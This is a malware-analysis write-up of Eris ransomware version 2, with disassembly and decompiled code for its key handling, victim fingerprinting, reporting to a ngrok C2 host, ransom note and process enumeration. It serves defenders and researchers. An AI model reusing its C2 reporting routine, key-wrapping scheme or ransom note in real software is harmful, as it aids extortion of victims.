Go Under the Hood: Eris Ransomware
Eris ransomware was first discovered in May 2019. In July it was reported by Bleeping Computer that the malware was being distributed by the RIG exploit kit.
Here is a set of analysis notes for version two of the family. The sample used
for the analysis has the hash of
99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692
Malware overview
Version two of the Eris ransomware are made up of six packages.
- Sync package used to collect victim information and send it to the operator.
- Main package
- Utils
- Cryptography
- Anti package used for wiping 3rd party backup files
- Walk package used to walk the file system
A source code layout created by redress
is shown below.
Package Eris/Sync: .
File: .
init Lines: 1 to 11 (10)
GetOS Lines: 5 to 17 (12)
GetSpace Lines: 11 to 12 (1)
GetID Lines: 11 to 25 (14)
GetGeo Lines: 12 to 22 (10)
GetSyncInfo Lines: 17 to 85 (68)
machineID Lines: 25 to 27 (2)
GetSyns Lines: 85 to 451 (366)
Package main: .
File: .
init Lines: 1 to 1 (0)
Init Lines: 30 to 46 (16)
main Lines: 46 to 236 (190)
mainfunc1 Lines: 165 to 166 (1)
ReadFileA Lines: 236 to 246 (10)
LineCountA Lines: 246 to 250 (4)
Package Eris/Utils: .
File: .
init Lines: 1 to 1 (0)
RandStringBytes Lines: 18 to 35 (17)
Kill Lines: 35 to 64 (29)
initializers Lines: 43 to 44 (1)
Execute Lines: 64 to 83 (19)
(*WindowsProcess)Pid Lines: 78 to 82 (4)
(*WindowsProcess)PPid Lines: 82 to 86 (4)
GetDrive Lines: 83 to 107 (24)
(*WindowsProcess)Executable Lines: 86 to 90 (4)
newWindowsProcess Lines: 90 to 122 (32)
Contains Lines: 107 to 119 (12)
Exists Lines: 119 to 130 (11)
processes Lines: 122 to 127 (5)
Wrap Lines: 130 to 139 (9)
Package Eris/Cryptography: .
File: .
init Lines: 1 to 1 (0)
RC4Encrypt Lines: 5 to 15 (10)
RSAGenerateKey Lines: 15 to 43 (28)
Lock Lines: 23 to 57 (34)
RSAEncrypt Lines: 43 to 46 (3)
Package Eris/Anti: .
File: .
init Lines: 1 to 10 (9)
WipeBackup Lines: 11 to 15 (4)
Package Eris/Walk: .
File: .
init Lines: 1 to 116 (115)
Check Lines: 10 to 18 (8)
WalkDirectores Lines: 18 to 130 (112)
WalkComputer Lines: 130 to 133 (3)
WalkComputerfunc1 Lines: 133 to 142 (9)
WalkComputerfunc2 Lines: 142 to 143 (1)
Technical breakdown
Loading import functions
The malware loads some additional imports in its init function. These imports are later used to list all the running processes.
(fcn) sym.Eris_Utils_init.ializers
0x0053df90 mov ecx, dword fs:[0x14]
0x0053df97 mov ecx, dword [ecx]
0x0053df9d cmp esp, dword [ecx + 8]
0x0053dfa0 jbe 0x53e101
0x0053dfa6 sub esp, 0x10
0x0053dfa9 lea eax, str_kernel32.dll ; "kernel32.dll"
0x0053dfaf mov dword [esp], eax
0x0053dfb2 mov dword [var_4h], 0xc
0x0053dfba call sym.syscall.NewLazyDLL
0x0053dfbf mov eax, dword [0x88be50]
0x0053dfc5 mov ecx, dword [var_8h]
0x0053dfc9 test eax, eax
0x0053dfcb jne 0x53e0ef
0x0053dfd1 mov dword [sym.hKernel32.dll], ecx
0x0053dfd7 mov dword [esp], ecx
0x0053dfda lea eax, [0x675b84] ; "CloseHandle"
0x0053dfe0 mov dword [var_4h], eax
0x0053dfe4 mov dword [var_8h], 0xb
0x0053dfec call sym.syscall___LazyDLL_.NewProc
0x0053dff1 mov eax, dword [0x88be50]
0x0053dff7 mov ecx, dword [var_ch]
0x0053dffb test eax, eax
0x0053dffd jne 0x53e0dd
0x0053e003 mov dword [sym.pCloseHandle], ecx
0x0053e009 mov eax, dword [sym.hKernel32.dll]
0x0053e00f mov dword [esp], eax
0x0053e012 lea eax, [0x67ae16] ; "CreateToolhelp32Snapshot"
0x0053e018 mov dword [var_4h], eax
0x0053e01c mov dword [var_8h], 0x18
0x0053e024 call sym.syscall___LazyDLL_.NewProc
0x0053e029 mov eax, dword [0x88be50]
0x0053e02f mov ecx, dword [var_ch]
0x0053e033 test eax, eax
0x0053e035 jne 0x53e0cb
0x0053e03b mov dword [sym.pCreateToolhelp32Snapshot], ecx
0x0053e041 mov eax, dword [sym.hKernel32.dll]
0x0053e047 mov dword [esp], eax
0x0053e04a lea eax, [0x6772a1] ; "Process32FirstW"
0x0053e050 mov dword [var_4h], eax
0x0053e054 mov dword [var_8h], 0xf
0x0053e05c call sym.syscall___LazyDLL_.NewProc
0x0053e061 mov eax, dword [0x88be50]
0x0053e067 mov ecx, dword [var_ch]
0x0053e06b test eax, eax
0x0053e06d jne 0x53e0bc
0x0053e06f mov dword [sym.pProcess32FirstW], ecx
0x0053e075 mov eax, dword [sym.hKernel32.dll]
0x0053e07b mov dword [esp], eax
0x0053e07e lea eax, [0x676d3a] ; "Process32NextW"
0x0053e084 mov dword [var_4h], eax
0x0053e088 mov dword [var_8h], 0xe
0x0053e090 call sym.syscall___LazyDLL_.NewProc
0x0053e095 mov eax, dword [0x88be50]
0x0053e09b mov ecx, dword [var_ch]
0x0053e09f test eax, eax
0x0053e0a1 jne 0x53e0ad
0x0053e0a3 mov dword [sym.pProcess32NextW], ecx
0x0053e0a9 add esp, 0x10
0x0053e0ac ret
Encryption key generation
The malware uses the following struct to store the keys generated for the victim.
type main.Session struct {
Extension string
PUBLIC_KEY []uint8
E_PRIVATE_KEY []uint8
}
It is also stored encrypted on the disk. The following snippet shows the generation of file path to the files.
0x005fe3ff lea eax, [0x6770d0] ; "ALLUSERSPROFILE"
0x005fe405 mov dword [esp], eax
0x005fe408 mov dword [var_4h], 0xf
0x005fe410 call fcn.os.Getenv
0x005fe415 mov eax, dword [var_ch]
0x005fe419 mov ecx, dword [var_8h]
0x005fe41d mov dword [esp], ecx
0x005fe420 mov dword [var_4h], eax
0x005fe424 call fcn.runtime.convTstring
0x005fe429 mov eax, dword [var_8h]
0x005fe42d mov dword [var_198h], 0
0x005fe438 mov dword [var_19ch], 0
0x005fe443 mov dword [var_1a0h], 0
0x005fe44e mov dword [var_1a4h], 0
0x005fe459 lea ecx, sym.type.string
0x005fe45f mov dword [var_198h], ecx
0x005fe466 mov dword [var_19ch], eax
0x005fe46d mov dword [var_1a0h], ecx
0x005fe474 lea eax, [0x6cec98] ; "00000000.pky"
0x005fe47a mov dword [var_1a4h], eax
0x005fe481 lea eax, [0x6745d6] ; "%s\%s"
0x005fe487 mov dword [esp], eax
0x005fe48a mov dword [var_4h], 5
0x005fe492 lea edx, [var_198h]
0x005fe499 mov dword [var_8h], edx
0x005fe49d mov dword [var_ch], 2
0x005fe4a5 mov dword [var_10h], 2
0x005fe4ad call fcn.fmt.Sprintf
The data is stored in these three files:
%ALLUSERSPROFILE%\00000000.pky
%ALLUSERSPROFILE%\00000000.eky
%ALLUSERSPROFILE%\00000000.ext
If files already exists, they are used instead of generating a new key.
0x005fe65a mov edx, dword [pky_path_str]
0x005fe661 mov dword [esp], edx
0x005fe664 mov ebx, dword [pky_path_str_len]
0x005fe66b mov dword [var_4h], ebx
0x005fe66f call fcn.Eris_Utils.Exists
0x005fe674 movzx eax, byte [var_8h]
0x005fe679 test al, al
0x005fe67b je 0x5ff0c4
0x005fe681 mov eax, dword [pky_path_str]
0x005fe688 mov dword [esp], eax
0x005fe68b mov eax, dword [pky_path_str_len]
0x005fe692 mov dword [var_4h], eax
0x005fe696 call fcn.main.ReadFileA
0x005fe69b mov eax, dword [var_14h]
0x005fe69f mov ecx, dword [var_10h]
0x005fe6a3 mov edx, dword [var_8h]
0x005fe6a7 mov ebx, dword [var_ch]
0x005fe6ab test eax, eax
The victim’s private key is encrypted with the threat actor’s public key. The encrypted blob is further encrypted RC4.
0x005ff212 lea esi, [0x68736a] ; Public key
0x005ff218 call fcn.0044d9f0
0x005ff21d mov ecx, dword [var_174h]
0x005ff224 mov dword [esp], ecx
0x005ff227 mov dword [var_4h], 0x80
0x005ff22f mov dword [var_8h], 0x80
0x005ff237 mov dword [var_ch], eax
0x005ff23b mov dword [var_10h], 0x1c3
0x005ff243 mov dword [var_14h], 0x1c3
0x005ff24b call fcn.Eris_Cryptography.RSAEncrypt
0x005ff250 mov eax, dword [var_20h]
0x005ff254 mov dword [var_8ch], eax
0x005ff25b mov ecx, dword [var_1ch]
0x005ff25f mov dword [var_84h], ecx
0x005ff266 mov edx, dword [var_18h]
0x005ff26a mov dword [var_140h], edx
0x005ff271 mov ebx, dword [var_148h]
0x005ff278 mov dword [esp], ebx
0x005ff27b mov ebx, dword [var_98h]
0x005ff282 mov dword [var_4h], ebx
0x005ff286 mov ebx, dword [var_9ch]
0x005ff28d mov dword [var_8h], ebx
0x005ff291 mov ebx, dword [var_174h]
0x005ff298 mov dword [var_ch], ebx
0x005ff29c mov dword [var_10h], 0x80
0x005ff2a4 mov dword [var_14h], 0x80
0x005ff2ac call fcn.Eris_Cryptography.RC4Encrypt
0x005ff2b1 mov eax, dword [var_1ch]
0x005ff2b5 mov dword [var_88h], eax
0x005ff2bc mov ecx, dword [var_18h]
0x005ff2c0 mov dword [var_13ch], ecx
0x005ff2c7 mov edx, dword [var_20h]
0x005ff2cb mov dword [var_90h], edx
Threat actor’s key:
--BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiVFawLHK0Gld4XUYi7Wq
1ura1N78VvOuW4kvH/yDYOajqRx7nqFB2mokTDqHa5phT48FtLMbuFc+j39YnZBa
jjSN2zDaC13vDRNXfiW41yJAtMAJXh17cE/lAdAgEUQdYwJPVHfDuCPGGO5Dn+hg
xehdJvIiNFbKCCFP7EojDH0kK1h9p8TngwqHySBNLUADKeONKPk171oe+5isEnbF
VjBcinGF13V/CRBKXsrH2z7BCWtyZTG+MWXRqUOn2mYOFgt4ZNOe4U0nz6/A1YmJ
V8NybH2vHp4Bs/ov7RcnQUvW0BwG0/xp6YDSaOt59A0rEbJE0+J3NTlEVPesehOr
xwIDAQAB
-----END PUBLIC KEY-----
The malware also looks for the existence of the file: C:\eris.was
0x005fe7f2 lea eax, [0x675b79] ; "C:\eris.was"
0x005fe7f8 mov dword [esp], eax
0x005fe7fb mov dword [var_4h], 0xb
0x005fe803 call fcn.Eris_Utils.Exists
0x005fe808 movzx eax, byte [var_8h]
0x005fe80d test al, al
0x005fe80f jne 0x5ff05d
0x005fe815 xor eax, eax
0x005fe817 mov dword [var_94h], eax
0x005fe81e mov ecx, dword [session]
0x005fe825 mov edx, dword [ecx + 0x14]
0x005fe828 mov ebx, dword [ecx + 0x18]
0x005fe82b mov ebp, dword [ecx + 0x1c]
0x005fe82e mov dword [esp], edx
0x005fe831 mov dword [var_4h], ebx
0x005fe835 mov dword [var_8h], ebp
0x005fe839 call fcn.Eris_Sync.GetSyns
Victim information
The Eris malware collects information about the infected system. The data is populated into the structure shown below.
type Struct.BotJson struct{
UID string
SID string
Kind int
Storage []struct {
Alphabet string `json:"alphabet"`
Label string `json:"label"`
Type int `json:"type"`
Free int64 `json:"free"`
Full int64 `json:"full"`
}
Extension string
OS string
UserName string
PCName string
Country string
City string
IP string
Org string
Stage1 string
Stage2 string
Date int64
}
Username is collected from the environment variable and the host name is retrieved via the standard library function:
0x005f8d21 lea ecx, [0x67505a] ; "USERNAME"
0x005f8d27 mov dword [esp], ecx
0x005f8d2a mov dword [var_4h], 8
0x005f8d32 call fcn.os.Getenv
0x005f8d37 mov ecx, dword [var_8h]
0x005f8d3b mov edx, dword [var_ch]
0x005f8d3f mov dword [username_str], ecx
0x005f8d46 mov dword [username_str_len], edx
0x005f8d4d nop
0x005f8d4e call fcn.os.hostname
0x005f8d53 mov ecx, dword [esp]
0x005f8d56 mov edx, dword [var_4h]
0x005f8d5a mov ebx, dword [var_8h]
0x005f8d5e test ebx, ebx
0x005f8d60 je 0x5f8f7e
0x005f8d66 lea eax, [0x674dca] ; "unknown"
0x005f8d6c mov dword [hostname_str], eax
0x005f8d73 mov dword [hostname_str_len], 7
...
0x005f8f7e mov dword [hostname_str], ecx
0x005f8f85 mov dword [hostname_str_len], edx
0x005f8f8c jmp 0x5f8d7e
The ID of the machine is generated from the machine ID. First the GUID is
fetched from the registry. A summary of the Eris_Sync.machineID
function is
shown below.
0x005f8a10 "SOFTWARE\Microsoft\Cryptography"
0x005f8a2a call sym.golang.org_x_sys_windows_registry.OpenKey
0x005f8a5c call sym.runtime.deferproc
0x005f8a63 cjmp 0x005f8b0d
0x005f8a6f cjmp 0x005f8ae7
0x005f8a78 "MachineGuid"
0x005f8a8a call sym.golang.org_x_sys_windows_registry_Key.GetStringValue
0x005f8aa1 cjmp 0x005f8ac5
0x005f8abc call sym.runtime.deferreturn
0x005f8ac5:
0x005f8ade call sym.runtime.deferreturn
0x005f8ae7:
0x005f8b04 call sym.runtime.deferreturn
0x005f8b0d:
0x005f8b0e call sym.runtime.deferreturn
0x005f8b17:
0x005f8b17 call sym.runtime.morestack_noctxt
0x005f8b1c jmp 0x005f89d0
0x005f8b1c sym.Eris_Sync.machineID
The GUID is hashed with SHA1 and the hex-encoded string is used as the ID. If no GUID is found, the ID is generated from a set of random bytes. Below is a Ghidra decompiled representation of the function.
void sym.Eris_Sync.GetID(undefined4 uParm1, undefined4 uParm2)
{
uint32_t *puVar1;
int32_t iVar2;
int32_t iVar3;
int32_t in_FS_OFFSET;
undefined4 *in_stack_ffffffa4;
undefined4 *in_stack_ffffffa8;
undefined4 *puVar4;
undefined4 *in_stack_ffffffac;
undefined4 *in_stack_ffffffb0;
int32_t in_stack_ffffffb4;
uint32_t in_stack_ffffffb8;
uint32_t uVar5;
int32_t in_stack_ffffffbc;
undefined4 uStack56;
int32_t iStack52;
undefined4 uStack48;
sym.Eris_Sync.machineID();
puVar4 = in_stack_ffffffa8;
if ((in_stack_ffffffac != (undefined4 *)0x0) && (in_stack_ffffffa8 == (undefined4 *)0x0)) {
// If no GUID, generate random string.
in_stack_ffffffa4 = in_stack_ffffffa8;
in_stack_ffffffa8 = in_stack_ffffffac;
sym.Eris_Utils.RandStringBytes(0x20);
puVar4 = in_stack_ffffffa4;
}
sym.runtime.newobject(sym.type.sha1.digest);
*puVar4 = 0x67452301;
puVar4[1] = 0xefcdab89;
puVar4[2] = 0x98badcfe;
puVar4[3] = 0x10325476;
puVar4[4] = 0xc3d2e1f0;
puVar4[0x15] = 0;
puVar4[0x16] = 0;
puVar4[0x17] = 0;
sym.runtime.stringtoslicebyte(0, in_stack_ffffffa4, in_stack_ffffffa8);
sym.crypto_sha1___digest_.Write(puVar4, in_stack_ffffffb0, in_stack_ffffffb4, in_stack_ffffffb8);
sym.runtime.newobject(sym.type._9_uint8);
*in_stack_ffffffb0 = 0x6e617247;
*(undefined4 *)((int32_t)in_stack_ffffffb0 + 1) = 0x646e6172;
*(undefined4 *)((int32_t)in_stack_ffffffb0 + 5) = 0x73697245;
sym.crypto_sha1___digest_.Write(puVar4, in_stack_ffffffb0, 9, 9);
sym.crypto_sha1___digest_.Sum(puVar4, 0, 0, 0);
iVar2 = in_stack_ffffffb4;
uVar5 = in_stack_ffffffb8;
iVar3 = in_stack_ffffffbc;
sym.crypto_sha1___digest_.Sum(puVar4, 0, 0, 0);
if (7 < uVar5) {
iVar2 = iVar2 + (-(iVar3 + -8) >> 0x1f & 8U);
sym.golang.org_x_crypto_pbkdf2.Key(in_stack_ffffffb4, in_stack_ffffffb8,
in_stack_ffffffbc, iVar2, uVar5 - 8,
iVar3 + -8, 0x7e4, 8, 0x68ae74);
iVar3 = iStack52 << 1;
sym.runtime.makeslice(sym.type.uint8, iVar3, iVar3);
sym.encoding_hex.Encode(iVar2, iVar3, iVar3, uStack56,
iStack52, uStack48);
sym.runtime.slicebytetostring(0, iVar2, iVar3, iVar3);
return;
}
sym.runtime.panicslice();
do {
invalidInstructionException();
} while( true );
}
Disk space is gathered from all disks attached. First the malware checks which drive letters exist.
0x005f7f92 cmp ecx, 0x1a ; 26
0x005f7f95 jge 0x5f80c7
0x005f7f9b mov dword [var_3ch], ecx
0x005f7f9f mov dword [var_4ch], ebx
0x005f7fa3 lea eax, [var_64h]
0x005f7fa7 mov dword [esp], eax
0x005f7faa lea eax, [ecx + 0x41]
0x005f7fad mov dword [var_4h], eax
0x005f7fb1 sar eax, 0x1f
0x005f7fb4 mov dword [var_8h], eax
0x005f7fb8 call fcn.runtime.intstring
0x005f7fbd mov eax, dword [var_10h]
0x005f7fc1 mov ecx, dword [var_ch]
0x005f7fc5 mov dword [esp], 0
0x005f7fcc mov dword [var_4h], ecx
0x005f7fd0 mov dword [var_8h], eax
0x005f7fd4 lea eax, [0x673e20] ; ":\"
0x005f7fda mov dword [var_ch], eax
0x005f7fde mov dword [var_10h], 2
0x005f7fe6 call fcn.runtime.concatstring2
0x005f7feb mov eax, dword [var_18h]
0x005f7fef mov dword [var_50h], eax
0x005f7ff3 mov ecx, dword [var_14h]
0x005f7ff7 mov dword [var_474h], ecx
0x005f7ffe mov dword [esp], ecx
0x005f8001 mov dword [var_4h], eax
0x005f8005 call fcn.os.Stat
0x005f800a mov eax, dword [var_10h]
0x005f800e mov ecx, dword [var_14h]
0x005f8012 mov dword [esp], eax
0x005f8015 mov dword [var_4h], ecx
0x005f8019 call fcn.os.IsNotExist
0x005f801e movzx eax, byte [var_8h]
0x005f8023 test al, al
The disk space is gotten by calling GetVolumeInformationW
.
0x005f82e9 lea edx, [0x67983a] ; "GetVolumeInformationW"
0x005f82ef mov dword [var_4h], edx
0x005f82f3 mov dword [var_8h], 0x15
0x005f82fb call fcn.syscall.GetProcAddress
0x005f8300 mov edx, dword [var_ch]
0x005f8304 mov dword [pGetVolumeInformationW], edx
0x005f8308 mov ebx, dword [var_470h]
0x005f830f mov dword [esp], ebx
0x005f8312 mov ebp, dword [var_38h]
0x005f8316 mov dword [var_4h], ebp
0x005f831a call fcn.syscall.StringToUTF16Ptr
0x005f831f mov edx, dword [var_8h]
0x005f8323 mov dword [var_498h], edx
0x005f832a lea edx, [var_266h]
0x005f8331 mov dword [var_494h], edx
0x005f8338 lea ebx, [var_54h]
0x005f833c mov dword [var_490h], ebx
0x005f8343 lea ebx, [var_58h]
0x005f8347 mov dword [var_48ch], ebx
0x005f834e lea ebx, [var_5ch]
0x005f8352 mov dword [var_488h], ebx
0x005f8359 lea ebx, [var_68h]
0x005f835d mov dword [var_484h], ebx
0x005f8364 mov ebx, dword [pGetVolumeInformationW]
0x005f8368 mov dword [esp], ebx
0x005f836b mov dword [var_4h], 8
0x005f8373 mov ebx, dword [var_498h]
0x005f837a mov dword [var_8h], ebx
0x005f837e mov ebx, dword [var_494h]
0x005f8385 mov dword [var_ch], ebx
0x005f8389 mov dword [var_10h], 0x105
0x005f8391 mov ebx, dword [var_490h]
0x005f8398 mov dword [var_14h], ebx
0x005f839c mov ebx, dword [var_48ch]
0x005f83a3 mov dword [var_18h], ebx
0x005f83a7 mov ebx, dword [var_488h]
0x005f83ae mov dword [var_1ch], ebx
0x005f83b2 mov ebx, dword [var_484h]
0x005f83b9 mov dword [var_20h], ebx
0x005f83bd mov dword [var_24h], 0x105
0x005f83c5 mov dword [var_28h], 0
0x005f83cd call fcn.syscall.Syscall9
0x005f80fa mov eax, dword [var_470h]
0x005f8101 mov dword [esp], eax
0x005f8104 mov ecx, dword [var_38h]
0x005f8108 mov dword [var_4h], ecx
0x005f810c call fcn.syscall.StringToUTF16Ptr
0x005f8111 mov eax, dword [var_8h]
0x005f8115 mov dword [var_49ch], eax
0x005f811c lea ecx, sym.type._4_uintptr
0x005f8122 mov dword [esp], ecx
0x005f8125 call fcn.runtime.newobject
0x005f812a mov eax, dword [var_4h]
0x005f812e mov ecx, dword [var_49ch]
0x005f8135 mov dword [eax], ecx
0x005f8137 mov ecx, dword [var_4ach]
0x005f813e mov dword [eax + 4], ecx
0x005f8141 mov ecx, dword [var_4a8h]
0x005f8148 mov dword [eax + 8], ecx
0x005f814b mov ecx, dword [var_4b0h]
0x005f8152 mov dword [eax + 0xc], ecx
0x005f8155 mov ecx, dword [pGetDiskFreeSpaceExW]
0x005f815c mov dword [esp], ecx
0x005f815f mov dword [var_4h], eax
0x005f8163 mov dword [var_8h], 4
0x005f816b mov dword [var_ch], 4
0x005f8173 call fcn.syscall___Proc_.Call
0x005f8178 mov eax, dword [var_470h]
0x005f817f mov dword [esp], eax
0x005f8182 mov eax, dword [var_38h]
0x005f8186 mov dword [var_4h], eax
0x005f818a call fcn.syscall.StringToUTF16Ptr
0x005f818f mov eax, dword [var_8h]
0x005f8193 mov dword [esp], eax
0x005f8196 call fcn.golang.org_x_sys_windows.GetDriveType
The information for each drive is stored in a slice of structs as shown below.
Returns:
[]struct {
Alphabet string `json:"alphabet"`
Label string `json:"label"`
Type int `json:"type"`
Free int64 `json:"free"`
Full int64 `json:"full"`
}
Operating information is collected from the registry key ProductName
. Below
is a Ghidra decompiled representation of the function.
void fcn.Eris_Sync.GetOS(undefined4 uParm1, undefined4 uParm2)
{
while (puVar1 = (uint32_t *)(**(int32_t **)(in_FS_OFFSET + 0x14) + 8),
register0x00000010 < (undefined *)*puVar1 || (undefined *)register0x00000010 == (undefined *)*puVar1) {
fcn.runtime.morestack_noctxt();
}
uParm1 = 0;
uParm2 = 0;
uVar3 = 0xf003f;
key = fcn.golang.org_x_sys_windows_registry.OpenKey(0x80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0xf003f);
fcn.runtime.deferproc(0xc, 0x68afc4, uStack24);
if (key != 0) {
if (iStack20 == 0) {
prod_name = fcn.golang.org_x_sys_windows_registry_Key.GetStringValue(key, "ProductName");
uParm1 = uVar3;
if (prod_name != 0) {
fcn.runtime.deferreturn();
return prod_name;
}
}
fcn.runtime.deferreturn();
return "unknown";
}
Geo-location is gathered by performing a request to extreme-ip-lookup.com
0x005f84c4 lea ecx, sym.type.http.Client
0x005f84ca mov dword [esp], ecx
0x005f84cd call fcn.runtime.newobject
0x005f84d2 mov ecx, dword [var_4h]
0x005f84d6 mov dword [var_34h], ecx
0x005f84da mov dword [ecx + 0x14], 0x540be400
0x005f84e1 mov dword [ecx + 0x18], 2
0x005f84e8 lea edx, sym.type.Struct.Geo
0x005f84ee mov dword [esp], edx
0x005f84f1 call fcn.runtime.newobject
0x005f84f6 mov ecx, dword [var_4h]
0x005f84fa mov dword [var_44h], ecx
0x005f84fe lea edx, [0x673fa6] ; "GET"
0x005f8504 mov dword [esp], edx
0x005f8507 mov dword [var_4h], 3
0x005f850f lea edx, [0x67f274] ; "http://extreme-ip-lookup.com/json/
0x005f8515 mov dword [var_8h], edx
0x005f8519 mov dword [var_ch], 0x22
0x005f8521 mov dword [var_10h], 0
0x005f8529 mov dword [var_14h], 0
0x005f8531 call fcn.net_http.NewRequest
0x005f8536 mov ecx, dword [var_18h]
User agent used: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Data returned from the service:
type Struct.Geo struct {
BusinessName string
BusinessWebsite string
City string
Continent string
Country string
CountryCode string
IPName string
IPType string
Isp string
Lat string
Lon string
Org string
Query string
Region string
Status string
}
The data is sent to the C2 server located at d9d120a3.ngrok.io
. The malware
tries three times.
0x005fe815 xor eax, eax
.-> 0x005fe817 mov dword [var_94h], eax
: 0x005fe81e mov ecx, dword [session]
: 0x005fe825 mov edx, dword [ecx + 0x14]
: 0x005fe828 mov ebx, dword [ecx + 0x18]
: 0x005fe82b mov ebp, dword [ecx + 0x1c]
: 0x005fe82e mov dword [esp], edx
: 0x005fe831 mov dword [var_4h], ebx
: 0x005fe835 mov dword [var_8h], ebp
: 0x005fe839 call fcn.Eris_Sync.GetSyns
: 0x005fe83e mov eax, dword [var_18h]
: 0x005fe842 test eax, eax
,==< 0x005fe844 je 0x5fe853
|: 0x005fe846 mov eax, dword [var_94h]
|: 0x005fe84d inc eax
|: 0x005fe84e cmp eax, 3
|`=< 0x005fe851 jle 0x5fe817
`--> 0x005fe853 mov eax, dword [session]
Summary of function that sends the data:
0x005f8fa0:
0x005f8fb9 sym.type.http.Client
0x005f8fc2 call fcn.runtime.newobject
0x005f8ffd sym.type.string
0x005f9007 "d9d120a3.ngrok.io"
0x005f9015 "redirect"
0x005f901f "https://%s/%"
0x005f9048 call fcn.fmt.Sprintf
0x005f905e sym.type.bytes.Buffer
0x005f9067 call fcn.runtime.newobject
0x005f9086 cjmp 0x005f92c5
0x005f9092:
0x005f9092 "POST"
0x005f90c1 call fcn.net_http.NewRequest
0x005f90d6 sym.type.Struct.Response
0x005f90df call fcn.runtime.newobject
0x005f90ee cjmp 0x005f9118
0x005f90f0:
0x005f9118:
0x005f9129 "User-Agent"
0x005f913a call fcn.net_textproto.CanonicalMIMEHeaderKey
0x005f914f sym.type._1_string
0x005f9158 call fcn.runtime.newobject
0x005f9174 cjmp 0x005f92b5
0x005f917a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
0x005f9182:
0x005f9182 sym.type.textproto.MIMEHeader
0x005f91a3 call fcn.runtime.mapassign_faststr
0x005f91c2 cjmp 0x005f92a7
0x005f91ce:
0x005f91de call fcn.net_http___Client_.do
0x005f91ed cjmp 0x005f91f8
0x005f91ef:
0x005f91f3 jmp 0x005f90f0
0x005f91f8:
0x005f91fe sym.type.io.Reader
0x005f920f call fcn.runtime.convI2I
0x005f9234 call fcn.io_ioutil.readAll
0x005f924b cjmp 0x005f91ef
0x005f9258 sym.type._Struct.Response
0x005f926a call fcn.encoding_json.Unmarshal
The server response with the following data in JSON:
type Struct.Response struct {
Response string
Code int
}
Ransomware initialization
Before encrypting files, the malware prepares the ransom note. The note is shown below. The malware performs the following operations on the note template:
- Replace
{version}
with2.0.3
- Replace
{host}
with[[epaybfvlutydks6fpfwtwoe2fsph6vve2obgv6qbhyuqwkecbhsf7nyd.onion]]
- Replace
{id}
with the id. - Replace
{identification}
with base58 encoded encrypted key.
*** ***\x0d
*** READ THIS FILE CAREFULLY TO RECOVERY YOUR FILES ***\x0d
*** ***\x0d
\x0d
\x0d
\x0d
ALERT! \x0d
ALL OF YOUR FILES HAVE BEEN ENCRYPTED BY "ERIS RANSOMWARE" v{version}!\x0d
\x0d
Welcome to Eris System Security Encryption Program!\x0d
\x0d
Keeping strong security for our clients in mind, we have implemented Strong Encryption Algorithm for securing the system.\x0d
\x0d
To personally update regarding the available decryption software and payment methods. Follow the steps below to access the payment page.\x0d
\x0d
\x0d
Follow the steps below to access payment page.\x0d
\x0d
1. Download and install Tor browser from here:\x0d
URL - https://www.torproject.org/download/\x0d
\x0d
2. Visit page below using Tor browser:\x0d
URL - http://{host}/{id}\x0d
\x0d
3. Enter your "ERIS IDENTIFICATION". (You can find it in below)\x0d
\x0d
4. Follow the next steps(instructions) displayed on the page for successful decryption.\x0d
\x0d
Note: \x0d
We only accept payments via Bitcoin (BTC)!\x0d
\x0d
\x0d
ERIS IDENTIFICATION:\x0d
\x0d
{identification}\x0d
\x0d
\x0d
* IF YOU NOT FOLLOW INSTRUCTIONS IN PAYMENT PAGE MORE THAN 7 DAYS!,\x0d
YOUR CANNOT ACCESS TO PAYMENT PAGE OR YOUR FILES ANYMORE!\x0d
\x0d
* IN CASE OF FOLLOWING OUR INSTRUCTION,\x0d
FAST AND EASILY EVERYTHING IS BACK TO NORMAL LIKE THAT NEVER HAPPENED!\x0d
BUT IF YOU USE OTHER METHODS (THAT NEVER EVER HELPS) YOU JUST DESTROY EVERYTHING FOR GOODNESS!\x0d
\x0d
---------------------------------\x0d
* DO NOT MODIFY ENCRYPTED FILE(S)\x0d
* DO NOT MOVE ENCRYPTED FILES\x0d
* DO NOT USE RECOVERY SOFTWARE(S)\x0d
---------------------------------
Process enumeration
The malware enumerates all the running processes:
0x0053d024 mov ecx, dword [sym.pCreateToolhelp32Snapshot]
0x0053d02a mov dword [esp], ecx
0x0053d02d mov dword [var_4h], eax
0x0053d031 mov dword [var_8h], 2
0x0053d039 mov dword [var_ch], 2
0x0053d041 call fcn.syscall___LazyProc_.Call
0x0053d046 mov eax, dword [var_10h]
0x0053d04a test eax, eax
0x0053d04c jb 0x53d326
0x0053d052 mov dword [var_34h], eax
0x0053d056 lea eax, sym.type._1_uintptr
0x0053d05c mov dword [esp], eax
0x0053d05f call fcn.runtime.newobject
0x0053d064 mov eax, dword [var_4h]
0x0053d068 mov ecx, dword [var_34h]
0x0053d06c mov dword [eax], ecx
0x0053d06e mov dword [esp], 0x20
0x0053d075 lea edx, [0x68b3dc]
0x0053d07b mov dword [var_4h], edx
0x0053d07f mov edx, dword [sym.pCloseHandle]
0x0053d085 mov dword [var_8h], edx
0x0053d089 mov dword [var_ch], eax
0x0053d08d mov dword [var_10h], 1
0x0053d095 mov dword [var_14h], 1
0x0053d09d call fcn.runtime.deferproc
0x0053d0a2 test eax, eax
0x0053d0a4 jne 0x53d31c
0x0053d0aa lea eax, sym.type.Utils.PROCESSENTRY32
0x0053d0b0 mov dword [esp], eax
0x0053d0b3 call fcn.runtime.newobject
0x0053d0b8 mov eax, dword [var_4h]
0x0053d0bc mov dword [var_48h], eax
0x0053d0c0 mov dword [eax], 0x22c
0x0053d0c6 lea ecx, sym.type._2_uintptr
0x0053d0cc mov dword [esp], ecx
0x0053d0cf call fcn.runtime.newobject
0x0053d0d4 mov eax, dword [var_4h]
0x0053d0d8 mov ecx, dword [var_34h]
0x0053d0dc mov dword [eax], ecx
0x0053d0de mov edx, dword [var_48h]
0x0053d0e2 mov dword [eax + 4], edx
0x0053d0e5 mov edx, dword [sym.pProcess32FirstW]
0x0053d0eb mov dword [esp], edx
0x0053d0ee mov dword [var_4h], eax
0x0053d0f2 mov dword [var_8h], 2
0x0053d0fa mov dword [var_ch], 2
